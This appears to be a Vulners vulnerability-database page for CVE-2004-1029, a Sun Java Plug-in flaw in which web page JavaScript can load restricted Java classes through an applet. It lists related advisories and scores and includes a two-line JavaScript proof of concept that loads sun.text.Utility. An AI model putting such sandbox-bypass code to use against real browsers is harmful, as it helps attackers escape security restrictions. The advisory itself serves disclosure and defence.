Sun Java Runtime Environment 1.x Java Plugin - JavaScript Security Restriction Bypass
| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
 | jdk/jre -- Security Vulnerability With Java Plugin | 24 Nov 200400:00 | – | freebsd |
 | Sun Java Plug-in Sandbox Security Bypass (CVE-2004-1029) | 30 Nov 200900:00 | – | checkpoint_advisories |
 | CVE-2004-1029 | 24 Nov 200405:00 | – | cve |
 | CVE-2004-1029 | 24 Nov 200405:00 | – | cvelist |
 | FreeBSD : jdk/jre -- Security Vulnerability With Java Plugin (81) | 30 Nov 200400:00 | – | nessus |
| FreeBSD : jdk/jre -- Security Vulnerability With Java Plugin (ac619d06-3ef8-11d9-8741-c942c075aa41) | 23 Apr 200900:00 | – | nessus |
| GLSA-200411-38 : Sun and Blackdown Java: Applet privilege escalation | 30 Nov 200400:00 | – | nessus |
| Sun Java JRE Plug-in Capability Arbitrary Package Access | 22 Jan 200500:00 | – | nessus |
| Sun Java JRE Plug-in Capability Arbitrary Package Access (Unix) | 22 Feb 201300:00 | – | nessus |
| Mac OS X Java JRE Plug-in Capability Arbitrary Package Access (Security Update 2005-002) | 22 Feb 200500:00 | – | nessus |
10
source: https://www.securityfocus.com/bid/11726/info
A vulnerability is reported to exist in the access controls of the Java to JavaScript data exchange within web browsers that employ the Sun Java Plug-in. Reports indicate that it is possible for a malicious website that contains JavaScript code to exploit this vulnerability to load a dangerous Java class and to pass this class to an invoked applet.
[script language=javascript]
var c=document.applets[0].getClass().forName('sun.text.Utility');
alert('got Class object: '+c)
[/script]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Mar 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.17018